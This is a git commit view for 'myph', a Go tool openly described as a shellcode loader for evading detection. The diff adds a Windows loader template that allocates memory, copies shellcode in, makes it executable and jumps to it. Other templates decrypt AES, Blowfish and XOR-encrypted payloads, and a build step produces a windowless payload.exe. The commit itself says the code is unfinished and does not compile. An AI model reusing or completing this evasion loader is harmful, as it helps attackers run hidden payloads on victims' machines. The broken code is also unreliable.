myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit c68853f4e44cf79a8c1017ebe3c73ed5dcc4c568
parent dcca5bed26b7f770b9d7ddd580adcb2fe9b7bdda
Author: winds0r <[email protected]>
Date: Wed, 19 Jul 2023 00:23:04 +0900

wip(loaders): adding basic support for syscallMethod not working yet, but it does not compile properly yet....super annoying but working on it

Diffstat:
Mcli/defaults.go | 2+-
Mcli/parser.go | 34++++++++++++++++++++--------------
Mcli/types.go | 4++--
Mgo.mod | 7+++++--
Mgo.sum | 2++
Aloaders/syscall.go | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mtools/crypting.go | 101+++++++++++++++++++++++++++++++++++++++----------------------------------------
Mtools/utils.go | 52+++++++++++++++++++++++++++++++++-------------------

8 files changed, 174 insertions(+), 89 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -8,7 +8,7 @@ import (
 func GetDefaultCLIOptions() Options {
 	opts := Options{
 		ShellcodePath:  "msf.raw",
-		Outfile:        "myph-out",
+		Outdir:        "myph-out",
 		OS:             "windows",
 		arch:           "amd64",
 		Target:         "",
diff --git a/cli/parser.go b/cli/parser.go
@@ -3,8 +3,10 @@ package cli
 import (
 	"fmt"
 	"os"
+	"os/exec"
 
-    "github.com/cmepw/myph/tools"
+	"github.com/cmepw/myph/loaders"
+	"github.com/cmepw/myph/tools"
 	"github.com/spf13/cobra"
 )
 
@@ -25,7 +27,7 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
             /* later, we will call "go build" on a golang project, so we need to set up the project tree */
-            err := tools.CreateTmpProjectRoot(opts.Outfile)
+            err := tools.CreateTmpProjectRoot(opts.Outdir)
             if err != nil {
                 fmt.Printf("[!] Error generating project root: %s", err)
                 os.Exit(1)
@@ -78,31 +80,35 @@ func GetParser(opts *Options) *cobra.Command {
             }
 
             /* write decryption routine template */
-            gofile_path := fmt.Sprintf("%s/encrypt.go", opts.Outfile)
-            file, err := os.OpenFile(gofile_path, os.O_TRUNC | os.O_WRONLY, 0644)
+            err = tools.WriteToFile(opts.Outdir, "encrypt.go", template)
             if err != nil {
                 panic(err)
             }
 
-            file.WriteString(template)
-            file.Close()
-
             /* write main execution template */
             encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
             encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
-            maingo_path := fmt.Sprintf("%s/main.go", opts.Outfile)
-            file, err = os.OpenFile(maingo_path, os.O_TRUNC | os.O_WRONLY, 0644)
+            err = tools.WriteToFile(opts.Outdir, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
             if err != nil {
                 panic(err)
             }
 
-            file.WriteString(tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
-            file.Close()
-
-            /* TODO: finish this by adding template for each exec method and run compile */
+            /* TODO: add support for more exec templates */
+            err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate())
 
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
+
+            execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", "main.go")
+            execCmd.Dir = opts.Outdir
+
+            stdout, stderr := execCmd.Output()
+
+            if string(stdout) == "" {
+                print(stderr)
+                os.Exit(1)
+            }
+
         },
 
 
@@ -110,7 +116,7 @@ func GetParser(opts *Options) *cobra.Command {
 
 	defaults := GetDefaultCLIOptions()
 
-	cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
+	cmd.PersistentFlags().StringVarP(&opts.Outdir, "outdir", "f", defaults.Outdir, "output directory")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 
 	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
diff --git a/cli/types.go b/cli/types.go
@@ -44,8 +44,8 @@ type Options struct {
 	// Shellcode path
 	ShellcodePath string
 
-	// Outfile path
-	Outfile string
+	// Outdir path
+	Outdir string
 
 	// os compilation target
 	OS string
diff --git a/go.mod b/go.mod
@@ -2,10 +2,13 @@ module github.com/cmepw/myph
 
 go 1.20
 
-require github.com/spf13/cobra v1.7.0
+require (
+	github.com/spf13/cobra v1.7.0
+	golang.org/x/crypto v0.11.0
+	golang.org/x/sys v0.10.0
+)
 
 require (
 	github.com/inconshreveable/mousetrap v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
-	golang.org/x/crypto v0.11.0 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -8,5 +8,7 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
 golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
 golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
+golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -0,0 +1,61 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+
+func GetSyscallTemplate() string {
+    return fmt.Sprintf(`
+package main
+
+import (
+    "errors"
+    "syscall"
+    "unsafe"
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) (error) {
+
+    MEM_COMMIT := 0x1000
+    MEM_RESERVE := 0x2000
+    PAGE_EXECUTE_READ := 0x20
+    PAGE_READWRITE := 0x04
+
+    kernel32 := syscall.MustLoadDLL("kernel32.dll")
+    ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+    VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
+    VirtualProtect := kernel32.MustFindProc("VirtualProtect")
+    RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+
+    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
+    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
+        return errVirtualAlloc
+    }
+
+    if addr == 0 {
+        return errors.New("[!]VirtualAlloc failed and returned 0")
+    }
+
+    _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+    if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
+        return errRtlCopyMemory
+    }
+
+    oldProtect := PAGE_READWRITE
+    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
+        return errVirtualAlloc
+    }
+    _, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
+
+    if errSyscall != 0 {
+        return errSyscall
+    }
+
+    return nil
+}
+    `)
+}
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -19,76 +19,75 @@ import (
 
 func GetBlowfishTemplate() string {
     return fmt.Sprintf(`
-    package main
+package main
 
-    import (
-        "golang.org/x/crypto/blowfish"
+import (
+    "golang.org/x/crypto/blowfish"
 
-        "crypto/cipher"
-    )
+    "crypto/cipher"
+)
 
-    func Decrypt(toDecrypt []byte, key []byte) (error, []byte) {
-        dcipher, err := blowfish.NewCipher(key)
-        if err != nil {
-            return err, []byte{}
-        }
+func Decrypt(toDecrypt []byte, key []byte) (error, []byte) {
+    dcipher, err := blowfish.NewCipher(key)
+    if err != nil {
+        return err, []byte{}
+    }
 
-        div := toDecrypt[:blowfish.BlockSize]
-        decrypted := toDecrypt[blowfish.BlockSize:]
-        dcbc := cipher.NewCBCDecrypter(dcipher, div)
-        dcbc.CryptBlocks(decrypted, decrypted)
+    div := toDecrypt[:blowfish.BlockSize]
+    decrypted := toDecrypt[blowfish.BlockSize:]
+    dcbc := cipher.NewCBCDecrypter(dcipher, div)
+    dcbc.CryptBlocks(decrypted, decrypted)
 
-        return nil, decrypted
-    }
+    return nil, decrypted
+}
     `)
 }
 
 func GetAESTemplate() string {
     return fmt.Sprintf(`
-    package main
-
-    import (
-        "crypto/aes"
-        "crypto/cipher"
-        "errors"
-        "fmt"
-    )
-
-    func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
-        c, err := aes.NewCipher(key)
-        if err != nil {
-            return nil, err
-        }
-
-        gcm, err := cipher.NewGCM(c)
-        if err != nil {
-            return nil, err
-        }
-
-        nonceSize := gcm.NonceSize()
-        if len(encrypted) < nonceSize {
-            return nil, errors.New("ciphertext too short")
-        }
-
-        nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
-        return gcm.Open(nil, nonce, ciphertext, nil)
+package main
+
+import (
+    "crypto/aes"
+    "crypto/cipher"
+    "errors"
+)
+
+func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
+    c, err := aes.NewCipher(key)
+    if err != nil {
+        return nil, err
+    }
+
+    gcm, err := cipher.NewGCM(c)
+    if err != nil {
+        return nil, err
+    }
+
+    nonceSize := gcm.NonceSize()
+    if len(encrypted) < nonceSize {
+        return nil, errors.New("ciphertext too short")
     }
+
+    nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+    return gcm.Open(nil, nonce, ciphertext, nil)
+}
     `)
 }
 
 func GetXORTemplate() string {
     return fmt.Sprintf(`
-    package main
+package main
 
-    func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
-        encrypted := make([]byte, len(toDecrypt))
-        keyLen := len(key)
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+    encrypted := make([]byte, len(toDecrypt))
+    keyLen := len(key)
 
-        for i, b := range toDecrypt {
-            encrypted[i] = b ^ key[i %% keyLen]
-        }
-        return encrypted, nil
+    for i, b := range toDecrypt {
+        encrypted[i] = b ^ key[i %% keyLen]
     }
+    return encrypted, nil
+}
     `)
 }
 
diff --git a/tools/utils.go b/tools/utils.go
@@ -4,11 +4,24 @@ import (
 	"bytes"
 	"fmt"
 	"io"
+	"math/rand"
 	"os"
-    "math/rand"
 )
 
 
+func WriteToFile(outfile string, filname string, toWrite string) error {
+
+    full_path := fmt.Sprintf("%s/%s", outfile, filname)
+    file, err := os.OpenFile(full_path, os.O_TRUNC | os.O_WRONLY, 0644)
+    if err != nil {
+        return err
+    }
+
+    file.WriteString(toWrite)
+    file.Close()
+    return nil
+}
+
 func RandomString(n int) string {
 	var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
 	s := make([]rune, n)
@@ -65,9 +78,10 @@ func CreateTmpProjectRoot(path string) error {
     }
 
     var go_mod = []byte(`
-        module github.com/cmepw/myph
+module github.com/cmepw/myph
+
+go 1.20
 
-        go 1.20
     `)
 
     gomod_path := fmt.Sprintf("%s/go.mod", path)
@@ -90,28 +104,28 @@ func CreateTmpProjectRoot(path string) error {
 
 func GetMainTemplate(encoding string, key string, sc string) string {
     return fmt.Sprintf(`
-        package main
-
-        import (
-            enc "encoding/%s"
-        )
+package main
 
-        var Key = %s
-        var Code = %s
+import (
+    "os"
+    enc "encoding/%s"
+)
 
-        func main() {
+var Key = %s
+var Code = %s
 
-            decodedSc := enc.DecodeFromString(Code)
-            decodedKey := enc.DecodeFromString(Key)
+func main() {
 
-            decrypted, err := Decrypt(decodedSc, decodedKey)
-            if err != nil {
-                return nil
-            }
+    decodedSc := enc.DecodeFromString(Code)
+    decodedKey := enc.DecodeFromString(Key)
 
-            ExecuteOrderSixtySix(decrypted)
-        }
+    decrypted, err := Decrypt(decodedSc, decodedKey)
+    if err != nil {
+        os.Exit(1)
+    }
 
+    ExecuteOrderSixtySix(decrypted)
+}
     `, encoding, key, sc)
 
 }